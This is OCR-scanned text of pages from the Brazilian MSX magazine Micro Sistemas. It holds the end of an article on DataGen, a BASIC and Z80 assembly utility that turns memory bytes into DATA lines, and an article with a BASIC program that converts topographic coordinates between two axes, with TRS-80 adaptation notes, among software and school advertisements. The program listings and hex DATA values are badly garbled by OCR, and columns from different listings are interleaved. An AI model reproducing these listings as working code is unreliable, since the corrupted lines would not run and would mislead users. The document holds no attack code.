mero hexadecimal para a string de dois ca-
racteres é bem semelhante aquela publi-
cada em MS 78, na série de artigos
“’Programacao 280"

Duas alteracBes interessantes no pro-
grama seriam a leitura da rotina direto de
sua assemblagem em disco e a adi¢&o dos
c6digos do loop que faz o pokeamento das
linhas DATA na memdria. Se isto soar
como um desafio para vocg, sinta-se a von-
tade para implementa-las. s

ARIEL CALLEGARIO GOMES & técnico
em Quimica e possui um MSX e um PC
XT. Programa em Basic, Pascal e Assem-
bler.

¥

‘xc
e

CLASSIC SOFT MSX

Rua Jodo Cordeiro, 489 - Freguesia do O
S&o Paulo - Capital - CEP 02960

FONE (011)875-4644

JOGOS PARAMSX 1 E 2

JOGOS E APLICATIVOS

¢ TEMOS MAIS DE 2.000

*0S MELHORES DO MERCADO
*COLEGCAO COMPLETA

#(0S ULTIMOS LANCAMENTOS
VINDOS DA EUROPA

N AM@

TEMOS JOGOS E APLICATIVOS

SOLICITE NOSSO CATALOGO
GRATIS
GARANTIMOS TOTALMENTE
NOSSOS PRODUTOS




e Programa:CARREGADOR

0 'DATAGEN wl.01 D8,D5,CD,97,D8,22,5A,D8,23,23,ED,58,5E,D8,73,23,72,23,EB,EC
1 T'ARIEL C. GOMES - 1989 4B,60,08,09,22,5E,.D8,EB, D1, 36

AN 160 DATA

I 84,23,36,20,23,06,32,CD,A0,D8,36,2¢,223,E5,24,5¢C,D8,CD, 20,00
10 CLs E1,28,09,13,10,ED, 2B, 36,00,23,18,C3, 28, 3E,00,77,23,CD,97,D8,

20 PRINT"DataGen wvl1.01

30 PRINT"Ariel Callegaric Gomes — 1989
40 PRINT:PRINT" Prepare o disce onde o programa 22,C6,.F6,32,AB,FC,C9,44,61,74,61,47,65,6D,20,20,76,31,2E,30,
50 LINE INPUT" serd gravado, e pressione uma tecla.";RS 31,24,41,72,69,65,4C,20,43,61,6C,6C,65,57,61,72,69,6F,20,47,
60 ! 6F,.6D,65,73,20,2D.20,31,39,38

70 FOR X=8HD760 TO &HDEB& 180 DATA

B0 READ AS:POKE X,VAL("aH"+AS) 39,24,45,6E,64,65,72,65,87,6F,20,69,6E,69,563,6%,61,6C,20,3D,
90 NEXT ib,3E,20,26,68,24,45,6E,64,65,72,65,87 ,6F,20,66,569,6E,61,6C,
A== 20,20,3D, 3D, 3D, 3E,20.26.68,24

77,23,77,23,22,C2,F6,22,C4,F6
170 DaTa

110 BSAVE"DATAGEN.BIN" ,LHD760,LHDBB6 150 DATA

120 PRINT:PRINT"Terminado. = r—01,80,00]00,04,00,04,00,7E,FE,24,C8,CD,A2,00,23,18,F6,CD,62,
130 ' w D8,CD,Bl1,00,.CD.76,D8,C9,CD,7F.D8,57.CD,7F.D8,5F,C9,CD,8C,D8,
140 DATA * 07,07,07,07,47,CD,8C,D8&,80,C9
3E,27,32,B0,F3,CD,49,08,21,FD,D7,.CD,62,D8,21,02,01,72,DC,F3, 200 DATA

21,0¢.pD8,CD,62,08,21,04,01,22,DC,F3,32,AB,FC,21,2A,D8,CD,6C,
D8,ED,53,5A,D8,21,42,D8,CD,6C

150 DATA

D8.ED,53,5C,.D8,EB,ED,5B,54,D8,CD, 20,00,38,¢C4,21,01,80,22,5A

23,7E,FE,40,38,02,D6,07,D6,30,C9,EB,2A,5A,D8,73,23,72,E8,C9,
1A,F5,0F,0F,0F,0F,CD,AA,D8,F1,.E6,0F,FE,0A,38,02,C6,07,06,30
T 23,60

OLD(, %

e Programa: DATAGEN

i iCabegalho JR  WRITE
DATAGEM.ASM wvl1.01 28/03/89 ; £
02/04/89 LD {HL) .84h ;DATA iEscreve m2g. apontada por HL,
19/04;05/11 INC HL iespera Input e o transforma
;. Func.:Transfere para linhas DATA LD {HL) .20h ;:=pc ;em endereco colocando em DE
0 valores hexadecimais. INC HL :
ST :Enderegos inicial e final : N8 &C - INPUT: CALL WRITE
7. ©Out :Linhas DATA a partir de 10 ;Transfere 50 bytes para a linha BEGE — CALL INLIN
i. Alt. :HL DE BC AF : piiz — CALL HEXREAD
5 LD  B,32h ;504 RET
p DFCE-maIn: CALL THANSF jescreve 1 byte :
: LD {BL).;2CH &" . " ;Carrega DE c/enderesc em ASCII
= INC HL iapontade por HL
ORG O0D760h FPUSH HL i
= LD HL, (ENDEND) ‘G &—HEXREAD: CALL RDBYTE 18 msb
CLS EQU 0084%h - ——— CALL 00020H ;comp. HL c/ DE i LB DA
CHPUT EQU 000AZh POP HL DEFE — CALL RDBYTE ;128 1=sh
INLIN EQU 000Blh ;Limpa buffer JR Z,FIM LD E,.A
;e faz imput INC DE RET

CERY EQU O0F3DCh DJINZ MAIN

;L& um byte e o coloca em &

;Tela de abertura

{CSRY} ,HL

LD {LLEND) ,DE
LD HL,M EF

LD HL,.08001h ;DE=EndInic

ova linha

;daz tabelas de varidveis

PYT ¥ -RDBYTE :

A,33d DEC HL ALCA

(OF3B0h) ,A :WIDTH 39 LD (HL) ,00H;apaga a ",' RLCA

CALL CLS INC HL RLCA

HL,M_1 JR NLINE RLCA ;8epara 'dezena'

WRITE B LD B.A

HL,0102h;1linha 2 col.l +Fim do programa — CALL READ

(CSRY) ,HL B ADD A,B

HL,M_2 FIM: DEC HL RET

WRITE LD  A,00H i :

HL,0104h;linha 3 col.l LD (HL) ,A ;apaga a "," iTransforma ASCII em n2 hexa
INC HL .,

: » —CALL LINEEND READ: INC HL
:Input enderecos inicial e £inal LD {HL}.A LD A, (HL)
; INC HL CP 40h ;distingue na
LD (OFCAEQh} .& ;mindsculas LD {HL) . A ;escreve 0000 JR C,READL ; [de letra.
# LD  BL,M ET INC HL SUB 07h ;letra maiusc.
b = CALL INPUT i READ] : SUB 30h ;na
;Atualiza enderecos RET

iescreve o endereco da linha atual

[A%0 — carr Iweur i
LD {ENDEND) ,DE LD (0F6C2Zh) ,HL ;na linha anterier.
EX DE,.HL LD {0F&C4h) ,HL :
LD  DE, (LLEND) LD (OF6CEh) , HL LINEEND:EX DE.BL iDE=HL atual
2% —— CALL 00020h ;Reinicia se LD {0FCABh) ,A;Retorna LD HL, (LLEND)
JR C,.START ; EndFinal< RET imaiusculas LD (HL) ,E
H EndInicial i INC HL
;Inicializa iMensagens LD (EL).D
3 5 EX DE, Bi:
DEFM 'DataGem wv1.01s" RET

CALL READ

DEFM "ArieLl Callegario Gomes - 19895 E
DEFM "Enderego inicial ==> th§’ iTransfere um byte de DE para HL
DEFM 'Enderego final ===3 gh§" :

LD (LLEND) ,HL

;Inicia uma nova llinha :
, THANSF : LD A, (DE)
F

NLINE: PUSH DE aridvels do programa PUSH A I

——CALL LINEEND - ; = RACA

NLINEL: LD {LLEND) ,HL;Atualiza LLEND ;ZE;;T_F__EE;;_;EEEEé:) ARCA
P ENDEND:  DEFW 00000 RECA
iEscreve o n2 da linha LINE: DEFW 0000Ah ind da linha S RRCA
;e atualiza LINE LINEINC:DEFW 0000aR ;incremento L@r:? — CALL BYTEL
i i FOF AF
INC HL BYTELl: AND OFH
INC HL Ccp 0aH
LD DE, {LINE) i JR C,BYTE2
LD (BL},E i ADD &,07H
INC HL ; BYTE2: .~ ADD A,30H
LD (L) ,D i LD (HL) , &
INC HL ;Escreve msg. até °"§° INC HL
EX DE,HL sHL=(LINE) ¥ RET
LD BC, (LINEINC) WRITE: LD &, (BL) 5
ADD HL,BC CP 24h  ;'$'=end of msg. ;Fim
LD (LINE} ,HL PELL RET  2Z A

. EX DE,HL jHL=pos.atual &l —PD calLL CHPUT END
POP DE INC RL i .

MICRO SISTEMAS 53
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PROGRAMA

Facilite o seu trabalho de topografia

Conversor de coordenadas

entre dois eixos

[0 Francisco José Andrade Nogueira

Todo o profissional que trabalha com Topografia ja teve
problemas de transformar coordenadas de um eixo para
outro. Bem, se este é o seu caso, 0 programa aqui apre-
sentado resolvera facil e rapidamente este problema que
demanda muito tempo e que, por ser bastante cansativo,
origina muitos erros, exigindo, conseqlientermente novos
calculos.

Vamos descrever sucintamente o problema. Estamos
trabalhando com um eixo de coordenadas arbitrarias que
denominamos EIXO

Micro: MSX 1./ 2.
Memoria: 64 Kbytes
Video: P&B / Color
Linguagem: Basic

Requisitos: Impressora
{opcional)

COMO FUNCIONA O PROGRAMA

Precisamos saber as coordenadas de dois pontos em
cada um dos dois sistemas (EIXO ANTIGO e EIXO NOVO),
que denominamos dados iniciais. Com estes dados defi-
nidos a translacdo (A e B) e a rotacdo ( ) entre os dois
eixos. E importante frisar que estes dois pontos tém que
ser ser os mesmos nos dois eixos. Isto deve acontecer para
que a distancia entre eles em cada sistema seja a mesma,
caso cotrario, o programa apresentara a diferenca entre
as distancias que correspondem a magnitude do erro que
podera ser encontrado nas novas coordenadas. Na ver-

ANTIGO (ver figura

1.a). Um dos motivos
para o uso de coorde-
nadas arbitrarias pode e
ter sido ndo termos
ainda as coordenadas
de marcos oficiais ou 5
talvez para acelerarmos x :
0s servicos de escrito-
rio, independentemente
dos trabalhos desenvol-

EIX0O ANTIGO

EIX0O NOVO TRANSFURMAI;EO DE COORDENADAS

vidos no campo. Sé que
o trabalho final é exigido
em coordenadas de
uma rede de marcos ofi-
ciais que aqui chamare-
mos de EIXO NOVO

(ver figura 1.b). Na fi- @)

(k) fe)

gura 1.c temos a des-
cricdo do problema e da :
solucdo em termos matematicos. O leitor que trabalha (ou
n3o) com Topografia constatard que nesta figura usamos
o conhecimento de Geometria Analitica e que no programa
desenvolvido utilizamos o conceito de Topografia. Melhor
esclarecendo, o eixo-x em matematica é a referéncia para
a medicdo dos angulos e em Topografia os angulos séo
definidos pelos azimutes com a origem no eixo-N. Isto é
necessario para que possamos transformar, sem nenhum
problema de sinal, as coordenadas em qualquer dos gqua
tro quadrantes. Os eixos X e Y na Matematica correspon-

Figura 1

" dem aos eixos E e N na Topografia, respectivamente.

dade este erro sera o valor maximo se os pontos que fo-
ram digitados estiverem na regido entre os pontos iniciais.
Se estiverem fora, o erro serd muito maior. Se a distancia
apresentada no video for extremamente grande, fatalmente
terdo sido digitados dados errados para os pontos iniciais,
que poderdo ser corrigidos mais tarde.

PRECISAO DOS VALORES CALCULADOS

O programa apresentado foi desenvolvido em um MSX,
de modo que possa ser faciimente modificado para o Ba-




sic de outro micro. Caso o leitor possua um micro de outra
familia, deve se preocupar em saber a precisdo das funcdes
trigonométricas. No MSX estas fun¢des tém precisdo du-
pla o que acarreta resultados confidveis. No caso, por exem-
plo, da linha TRS-80, as fungdes trigonométricas séo de
precisio simples e, dependendo da quantidade de algaris-
mos significativos das coordenadas do EIXO ANTIGO, serdo
obtidos valores com erros muito grandes. A bem da ver-
dade, este erro ndo é so culpa da precisdo das funcdes
trigonomeétricas, mas também da transformacéo das co-
ordenadas retangulares em coordenadas polares no EIXO
ANTIGO onde é obtido um raio polar muito grande. Deste
raio polar, com valor alto, multiplicado pelo seno e pelo
cosseno, resultardo valores pouco confidveis, caso as
funcdes trigonométricas sejam de precisdo simples.

No entanto o problema pode ser facilmente resolvido
fazendo uma translacdo ‘extra’ dos eixos E e N do EIXO
ANTIGO. Para que o leitor e/ou usuério da linha TRS-80
possa entender facilmente esta afirmac&o, a seguir vamos
alterar o programa onde for necessério, para que este pro-
blema seja solucionado.

ACOES NECESSARIAS PARA O PROGRAMA RODAR
EM UM MICRO DA LINHA TRS-80

A linha 50 deve ser suprimida.

As impressdes através do posicionamento do LOCATE
devem ser modificadas para o PRINT 2

Modificar ou criar as seguintes linhas:

1030 DEFDBL A-Z

4015 D1=INT(E1/1000)*1000:D2=INT(N1/1000)*1000
4130 D=SQR((E1-D1)*(E1-D1)+(N1-D2)*(N1-D2))
4135 DE=E1-D1:DN=N1-D2:GOSUB 100

4185 E=EA(I)}-D1:N=NA(1)-D2

4190 D=SQR(E*E+N*N)

4195 DE=E:DN=N:GOSUB 100

Na linha 4015, os valores D1 e D2 corespondem a trans-
lacdo ‘extra’ comentada anteriormente e que resolve 0 pro-
blema da preciséo.

Como o niimero de linhas e colunas nas duas familias
de micros sfo diferentes, a impresséo na tela do TRS-80
deve ser modificada para um melhor aproveitamento da
mesma. Isto ndo é obrigatério, mas acarretara apresentar
menos linhas-detalhe a cada vez.

De qualguer modo a linha 5290 deve ser modificada pois
o operador MOD n3o é implementado no TRS-80 e ficara
com a seguinte forma:

5290 If 1/3-INT(l/3)=0 OR I=NP% THEN PRINT
STRING#$(40;7);:GOSUB 400

A adaptacdo da impresséo na tela do TRS-80 € bastante

simples sendo suficiente copiar as linhas de impresséo na
impressora (cabecalho e linha-detalhe) suprimindo apenas
o L da funcdo LPRINT e subtraindo o valor 12 das tabu-
lacBes. Na linha 5290 o denominador (em 1/3) pode ser
aumentado para 6, o que acarretard a exibicdo na tela de
6 linhas-detalhe a cada vez.

CONSIDERACOES FINAIS

Por fim, na figura 2 apresentamos um exemplo de im-
pressdo para que vocé possa verificar se o programa foi
digitado corretamente.

Bem, espero que o programa para transformacédo de
coordenadas facilite bastante o seu trabalho e quem sabe
brevemente teremos novas programas sobre Topografia.

TRaMNSFEFORMSTAD DE CSCOORDERNAaDAS

EIA0 MOV

Foldnd, 327
FO1474.904
F0l4a7i. 061

Figura 2 - impressdo

NOTA: os dois ultimos pontos (A) e (B) da “Transformacé&o
de Coordenadas’ sdo os pontos iniciais que definirdo os
dois eixos.

o Lt b
FRANCISCO JOSE ANDRADE NOGUEIFIA é Engenhelro Clwl
com curso de Técnico em Estradas e formado em Analise de
Sistemas. Programa em dBase, Basic e Pascal.

e Programa: MUDAEIXO0.BAS

100 e MUDAETHO. BAS Hd ko
15 ¢ % TRANSFORMACAD DE COORDEMADAS **+
20! Fkk FROMCISCO JOSE A. NOSUEIRS = bk
30 CLEAR 1000

50 KEY 0OFF

S0 E0TD 1000

100 0 kes SUBROTINA "r"‘LCJLU 1:—_ AZTHUTE *+4
110 IF DN=0 AND DE I
120 IF DN=0 AND [
13y IF DE=0 AND D
135 IF DE=0 AND I

140 ALFA=ATM(DE/DN}
150 THEN AAZIM=ALFA+PI ELSE AAZIM=aAl
160 IF »2%PT THEN ARAZIM=AAZIM-Z*PT

170 RETL

SO0 CABECALHD =

310 CLS:LOCA
320 PRINT: F‘PTN
230 PRINT M. NOME"T,

LFA+Z+ET

240 FRINTSTRINGE (40, "-"13
Fi0 PRIMT

ARLA APERTAR TECLA *4+
FRINTLISITE DUALGUER TECLA PARA CONTINUARY:

420 IF(71= I\JI-EY;* IF I$(7)="" THEN 420

430 RE TLRM
S00 0 wwr

CABELALHD - IMPRESSORA #++%

[ESI ESCOLA SUPERIOR DE !NFORMATICA

‘S (021) 242-0083/242-8418

FORMAGAO PROFISSIONAL EM
PROGRAMAGAO E ANALISE DE SISTEMAS

o LINGUAGENS: BASIC, C, PASCAL, ASSEMBLER

» TECNICAS DE PROGRAMAGAOQ E PROJETOS
ESTRUTURADOS

s TELEPROCESSAMENTO - REDES LOCAIS

s COBOL P/ SISTEMAS COMERCIAIS

s CURSOS DE EXTENSAQ

FORMAGAO DE USUARIOS

s INTRODUCAO, MS DOS E EDITORES DE TEXTO:
WORDSTAR, CARTA CERTA, WORD

*BANCO DE DADOS dBASE Il E PLANILHA
DE CALCULOS LOTUS 1,23

*COMPUTAGAC GRAFICA, CAD

s DESKTOP PUBLISHING

*APLICATIVOS AREA FINEIRA

VARIOS PLANOS DE PAGAMENTOS COM DESCONTOS PROGRESSIVOS ¢ RIO DE JANEIRO « RUA DA LAPA, 180/12° (PROXIMO AO METRO)

TREINAMENTO GERENCIAL

* GERENCIA DE PEQUENOS CPDs
» GERENCIA DE PROJETO DE SISTEMAS
» INFORMATICA PARA EXECUTIVOS
* COMO ADQUIRIR EQUIPAMENTOS
E SOFTWARES
SEMINARIOS
CURSOS IN HOUSE EM TODO O BRASIL




o200

Eal

S10
570
» SE0
590
€00
&10
&£20
&30
&40
700
710
720
lac®
730
740
ais.
750
dena
FE0
770

1000 CLS:TEMPO$({0}=

1010

LPRINT STRINGS(S.10)

LPRINT TAE(1S£)CHRS (14) " TRANSFORMACAD DE COORDEMADAS™
LPRINT:LPRINT

LPRINTTAB (12) STRINGE (53, "-")

LPRINTTAB(32) "EIXD ANTIGO"TAB(38)"EIXD NOVO"

LPRINTTAB(12) " No. PONTO STRINGS (49, "=")

LFRINTTAB{ZFI"E (m)"TAB( M {m}"TAB{S4)"E (m)"TABLETI"N (m)™
LPRINTTAB(12) STRING# (£3,
RETURN

+ axx ERRO DE ENTRADA DE PONTOS OU DE DEFINICAD DO EIXD *+%

CLS: FRINT: PRINT"ATENCAD ! ! 1*

FRINT:PRINT"A diferenca da distancia entre o= dois pontos noz dois sixos va

¥

PRINTUSING" > EHEHEFEAE.FEE m. "1 ABS(DF-DI)

PRINT:PRINT“Varifigue depois & nao houve =rro de entrada do= pontos indici
PRIMT:PRINT"Casc nao mude o5 valoras. o programa
dax  com arros ate' aste valer."

GOSUB 400

RETURN

calculara' as novas coor

TEMPOS (1) =TEMPOS (0} : TEMPOS (4} ~TEMPGS (D)

LOCATE £,%:PRINT"TRANSFORMACAD DE COORTDENADAS®

1020 LOCATE 15,8:PRINT"Versaco 1.0":LOCATE 13,10:PRINT™1990"

1040

DEFINT K.L

1050 FOR K=1 T Z000:NEXT

1060
1070
1090
1100
1110
1120
1130
1140
1150
1160
1170
1180
1190
1200
1210
1220
1230
1235
1240
1250
1260
1270
1220
1290
1300
1310
1320
1330
1340
1350
1350
1370
1380
1390
1400
1410
1420
1430
1440
1450
1460
1470
1480
1490
1500
2000
2010
2020
2030
GOTO
2040
2042
2050
Z060
Z070

tar:

2170
2180
2190
2200
2210
2220
2230
2250
2260
2265
2270
2280
2300
2310
3000
3005
- 3010
3020

cLs

PRINTzPRINTTAB(7) "ENTRADA DOS DADDS INICIAIS"

PRINT: INFUT"Bwal a abscizsalE} do eixe ankigo do Ponta AYiEL
IF TEMPO#(1)>TEMPOS (D) THEN 1250

PRINT: INFUT"Qual a ardenadaiM) do aixe antiso do ponto AYINL
IF TEMFO#(1)>TEMPOS (D) THEN 1250

PRINT: INPUT"Oual a abscizsalE) do eixo antige do ponto B':EZ
IF TEMPO#(1)>TEMPO£(0)} THEN 1350

PRINT: INPUT"Qual a orderada(N}! do eixe antigo do ponto BY:NZ
IF TEMPOS(1}>TEMPOS(0)} THEN 1250

PRINT: INPUT"GQual a abscissalE) do &ixg nove do ponto A":E3
IF TEMPO$ (1) >TEMPOS(0) THEN 1250

PRINT: INFUT"Gual a ordenada(M) do eixe nove do ponto A"pNI
IF TEMPO${13>TEMPOS (1) _THEN 1250 o

PRINT: INFUT"Qual a abscissalEl do =iwc nove do ponto BY:E4
AF TEMPOS(1)>TEMPO#(G} THEN 1250

PRINT: INPUT"Qual a ordenada (M) do =ixo nove do ponto B:N4
IF TEMPO#(1)>TEMFOS(0) THEN 12%0

TEMPOS (1) =" 1"

CLS

LOCATE 13, 11 PRINT"DADOS INICTAIS"

LOCATE 15, 3: PRINTEIKD ANTIGO"

PRIMT:PRINTTAB(S) “PONTOD A"TAE(25}"PONTO B

PRINT:PRINTUSING"1. E = #BRESH.#ER"3EL:

FRINTTAB(20)USING"3. E = ®WE#HH.#S#"1E2

PRINTUSING"2. N = BHEHB#S.E#E";NL1:

PRINTTAB(20)USING"4. N = #HERHA#.#28°1N2
PRINT:FRINTTAB(15) “EIND NOVO"

PRINT:PRINTTAE (S} "FONTO A"TAB (25! "PONTO B"

PRINT:PRINTUSING"S. E = H®ERSRI.BAR":E3;

PRINTTAB(20IUSING"7. E = #S#SER. ##E"1E4

PRINTUBING"&. N BRERREH . HEH " NI

PRINTTAB (20} USING"S. N = ¥EREIRI.SRF"1NS

PRINT:PRINT"Dados corratos (S/N)2"

IS(1)=INKEY$:IF I£(1)="" THEN 1400

IF I#(1)="5" OR I&{1)="a" THEN 1470

IF Is(i)="N" OR I#({1 n" THEN 1430 ELSE 1400

PRINT:PRINT"Qual o dado a corrigir {1 a 817"

IS(2)=INKEY$:IF I${Z)="" THEM 1340

IF I$(2)<*1* OR I${2)>"9" THEN 1440

ON VAL(I$(2)) GOTO 1090,1110,1130,1150,1170,1190,1210, 1230
DI=SER{(E2-E1)* (EZ-E1)+ (N2-N1}*{NZ-N1})

DF =SGR ( (E4-E3) * (E4-E3) + (N4-N3) # (N4-N3) }

IF ABS(DF-DI}>.01 THEN GOSUB 700

IF TEMPOD# (4}>TEMPO£({0) THEN 3000

CLS: TEMPOS (2} =" 2" : TEMPD# (4) =TEMPOS (2}

LOCATE 4, 1:PRINTYENTRADA DE PONTOS DO EIND ANTIGO"

PRINT: INFUT"Qual o numero de pontos (max. 401":NPX

1F NPX<0 DR NPX>40 THEN PRINT™0 rumero de pontos deve astar enfre 0 & 40.7%:
2020

DIM EA(NPX+2) . NA(NPE+Z) . EN (NP +2) NN (NPR+Z) . NOMES (NFH+2)
PI=3.141552654%

FOR I=1 TO NPX

CLS: TEMPOS$ (3) =TEMPOS (2

PRINT:PRINT"DADOS ENTRADA DO PONTO®IVDO EIMO ANTIGO

PRINT"Qual o reme do ponto”::FPRINTUSING® ##";I::PRINT" (max. & carac-
a5} NPUT NOWMES$(I)

IF LEN{MOMES{I})>& THEN PRINT"Maximo & caractaras.”:1G0TO 2080
IF TEMPO%(3)>TEMPOS(2) THEM 21&0

PRINT:PRINT"Qual a absciszalE) do ponto"I:INFUT EALI}

IF TEMPOS(3) >TEMPOS(Z) THEN 21£0

PRINT:PRINT"Gual a ordenadaiN} do ponto”I:INPUT NACI
TEMPOS (3 ="3"

CLS

PRINTTAB (S} "DADOS DO PONTO"I"DO EIXD ANTIGO™

PRINT:FPRINT"1. NOME = "NOMES(I)

PRINTUSING“2. E = H#EHESS.RIE":EA(D)

PRINTUSING"3. N = BERSESR.ESF":NA(L)

PRINT:PRINT"Dados corretos (S/M) 7"

IS (3 =INKEY®:IF I${3) THEN 2220

IF Is(3)=" OR IF{3}=" THEN 2300

IF I$(2)n"N" OR I${3}="n" THEN 2260 ELSE 2220

PRINT:PRINT"fual o dado a cerrigir (1,2 ou 377

15(4) =INKEY$: IF I%(4} THEN Z2£5

IF I#(4)<"1" OR IF(4)>"3" THEN 2270

ON VAL(IS(4)} GOTO Z0S0,2110,2130

IF TEMPOS$ (41 >TEMPOS(2) THEN 3000

MEXT

TEMPOS (41 ="4" TEMPOS (5) =TEMPO$ (3

cLS

PRINT:PRINTTAB(10) “ESCOLHA A OFCAQ™ -

PRINT:FRIMT1. IMPRIMIR sz coordenadas do EIXD NOVO™

S030 FRINT"2. CORRIGIR dados INICIAIS"

3040 CORRIGIR dados de wm ponkto do EIND ANTIGO™
3050 NOVD zaloalo™
3060 FIM de procassamento”

IS(S)=INKEY#:IF IS(S)="" THEN 3070

IF I&(S)<vi" OR IS(S)>"5" THEN 3070

ON VAL (IF(5)) G0TO 4000,1250,3300,3100,3200

IF I$(S)="4" THEM RUN

IF I£(5)="5" THEMN CLS:END

* %% CORRIGIR PONTO **#*

cLs

2320 PRINT: INPUT"Qual o rumero do ponto a corrigir'sI

3230 IF I<0 OR IXNPX THEN PRINT"O numero deve estar sntra O e"yNPX".": GOTO 3320
3340 GOTD 2160

4000 CLS:IF TEMPOS(S5)>TEMPO# (4} THEN 4240

4010 LOCATE 13.9:PRINT"AGUARDE CALCULOS"

4020 ' *** CALCULD DO AZIMUTE INICIAL ***

4030 DE=EZ-E1:DN=N2-N1

4040 GOSUB 100

2050 ALZIM=AAZIM "

F060 ' sa+% CALCULD DO AZIMUTE FINAL 24+

4070 DE=E4-E3: DN=N4-N3Z

4080 GOSUEB 100

4090 AZZIM=AAZIM

4100 ' *** CALCULO DO DESLOCAMENTO ANGULAR ***

4110 BETA=A1ZIM-AZZIM

4120 ¢ 4%+ CALCULD DO DESLOCAMENTO LINEAR *+*

3130 D=SRR(E1*EL+NIFN1Y

4135 DE=E1:DN=N1:G0OSUE 100

4140 TETA=AARZIM

4150 A=D*SIN(TETA-BETA)-E3

4160 Be=D*COS(TETA-BETA! -N3

4170 ' #%= CALCULO DAS COORDENADAS DO EIX0 NOVD *=e

4120 FOR I=1 TO NPX

4190 D= {EA(I)*EA (L) +NA (T ) *NATT}?

4195 DE=EA(T}:DN=NA(I}:FOSUE 100 °

4200 TETA=RAZIM

4710 EN(I)=D*SIN(TETA-BETA) -A

4720 NMII}=D+C0S(TETA-BETA)-B

4230 NEXT

4240 CLS5: TEMFO# (5)="3"

4250 LOCATE 11,2:PRINT"ESCOLHA A IMPRESSAO™
4260 PRINT:PRINT™1. Impressac na TELA"

4Z70 PRINT:FPRINT"Z. Imprass. na IMPRESSORAY
4220 IF(6}=INKEY#:IF I#(&)= THEN <230
4290 IF I=(6}<™1" OR IF(6)>"2" THEN 4280
4300 ON VAL (I#(£)} Z0TO S000,6000

5000 ° **+ IMPRESSAQD NA TELA ***

S010 LDET=0

S020 FOR I=1 TO NPX

Sz00 ° *** LINHA DETALHE - TELA ***

5210 LDET=LDET+1

%220 IF LDET=1 THEM Z0SUB 300

SZ30 PRINT USINGUS&"sIs

5240 PRINTTAB (3);NOMES(I};

5250 PRINTTAB(SIUSING'E = BEE#E#.##3":EA(Il;
S260 PRINTTAB(ZSIUSING'E = #iE#is. s
S270 PRINTTAB(S)IUSING"N FHEHERS. BER
5280 PRINTTAB(2SIUSING"N = RREEREH.ARH";NNID)

=290 IF I MOD S=0 OR I=NPX THEM PRINTSTRINGS(40,"-")p:E0SUB 400
5300 IF LDET=5 THEN LDET=0

S3I20 NEXT

5340 GOTO 3005

5000 ° **% IMPRESSAD MA IMPRESSORA ***

&010 LDET=0 -

&020 CLS

£030 LOCATE 3.9:PRINT"Ajuste a impressora @ digite ENTER"
6040 IF(8)=INKEY®:IF I$(5)="" THEN £040

£05S0 IF I§(8)<{>CHR&{13} THEN &040

&D&0 CLS

£070 LOCATE 12,9:FRINT"AGUARDE IMPRESSAO0™

E080 EA(MPYE+1) =E1:NA(NPIE+1) =Nz NOMES (NPR+1) =" {A}"

E0590 EN(NPX+1) sE3: NN INPX+1) =N3

£100 EA(NFE+2) =E2z NANPI+2) =N,
6110 EN(NPX+2)=E4: NN (NPX+2) =N4

£120 FOR I=1 TO NPX+2

£130 * **+ LINHA DETALHE - IMPRESSORA *=%

6140 LDET=LDET+#1

£150 IF LDET=1 THEN GOSUB S00

£160 LPRINTTAB(13)USING"##": I

£170 LPRINTTAB (19} NOMES (1)}

£180 LPRINTTAB(27)USING"S#Euie, #48" " sEA(I) 3

£150 LPRINTUSING" SHS3#aws. #3HE" i NA(I) ¢

E200 LPRINTUSING" SHERER.HHE"EN(I};

210 LPRINTUSING" #EFEHEE. BHE";NNIIY

£220 NEXT %

£230 LFRINTTAB{12)STRINGS (63,%-")

£235 LPRINT:LPRINTTAB(13)“NOTA: Os doi= ultimos pontos tA) e (B) =ao os pontos i
niciaiz":LFRINTTAB(19} "que definiram o= dois 2ixos. )
£240 GOTO 3003

= NOMES$ (NFX+2) =" (B} "

DESKTOP PUBLISHING:

Como escolher e implementar um sistema de
editoracdo eletronica; como obter os melhores
resultados; dicas e truques.
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TUDO PARA 0 SEU MSX 1E MSX2

EXPERT 1.2, PLUS

O soft que vocé procura a AVALLON tém!

lmmﬁmosmusxz
* LANGAMENTOS:

SYNTH SAURUS, GRAPH SAURUS,
SUBTITTLER, EROTIC SCREENS
(1 T0 4), SEX MOVIE (17O 4),
AMIGA DIGI-SCREEN, PC ENGINE
DIGI-SCREEN (1 TO 3), TOPGUN
DIGI-SCREEN, TURBOCOPY SMA. ...

GHOST TIME, AMC 2, CORSARIO 2,
JUNGLE WARRIOR, RAMWAR, MECOM

AMO DEL MUNDO, PALACE, MACH. 3.
OMEGA 2, WAR IN MIDDLE EARTH,
DRAGON NINJA +, FANTAZY ZONE,
MEGANOVA, VAXOL, FINAL ZONE...

BURAI, PLATOON, SKY LASER,
UNE MASTER 2, EGGERLAND 2, RUNE
WORTH, CRACK:! , QUARTH, KAITOI,
RTYPE 2, WAR OF DEAD 2,

IFR-FLY, THEXDER 2, TRIANKLE STAR,
SHANGAI 2, AYDOCKS, MAGIC OF OZ
REVIVER,YELLOW SUBMARINE,
FANTASM SOLDIER 2, YS 3...

LINGUAGENS
E COMPILADORES:

C (ASCI)C Librarg) C I\(d EC), Tur-
bo Pascal, Cobol icro Prolog,
MON 80, GEN 80, ED 80, Modula 2,
Mu Lisp, Simple Hot~Asm, Mega As-
sembler Forthran...

Importante: Acompanham manuais
e disquetes.

AVALLON

CORRIDAS, DESAFIOS, LUTAS, THE SHORL BSOETHE s
MRS SRS | e
SIMLIL_ADOFIES.'CARTAS... GRAVACOES (EQEAEN;;%T(SB;E? 3?;?2QUETES 51/4

APLICATIVOS PROFISSIONAIS: . PAGE PRO (DESK TOP) AINDA:
Banco de dados, Planilha de célculos, S Sistemna de edigdo de péginas iiustradas para Sistemas Graficos em geral, Editores Musicais,
Mala Direta, Agenda, Contabilidade, Fi- ittt s el = mafros DOS, Copiadores diversos...
chérios, Controle de estoque, Editores de prontos, traduzi adaptado para Temos o programa certo para voce acertar na
texto, Calculos Estruturais... padrao Epson. Acompanha manal W SENA e na LOTO.
em 360Kb e 720Kb. Ligue j4 e faga o seu pedido!

MSX PERIFERICOS & SUPRIMENTOS MSX

TODOS COM 1 ANO DE GARANTIA = O MELHOR PREGO * DIVERSAS PROMOGCOES = PAGAMENTOS EM ATE 2VEZES

¢ IMPRESSORAS bé PC e AMIGA):
Wi e s MORY MAPPER: Cobrimos qualquer oferta! Grétis 6 Mapped-
ElﬁfiIEHLliDg Lg%o Games a escolher

-4 2 e : . : -e mais: MICRO EXPERT PLUS, MONITOR GRADIENTE PLACA 80
o diauotes ! 2@ texto @ 1 Editor Gréfico commanuais | - o651 1)\ AS, INTERFACE PIDRIVE, DISQUETES 5 1/4 E 3 112,

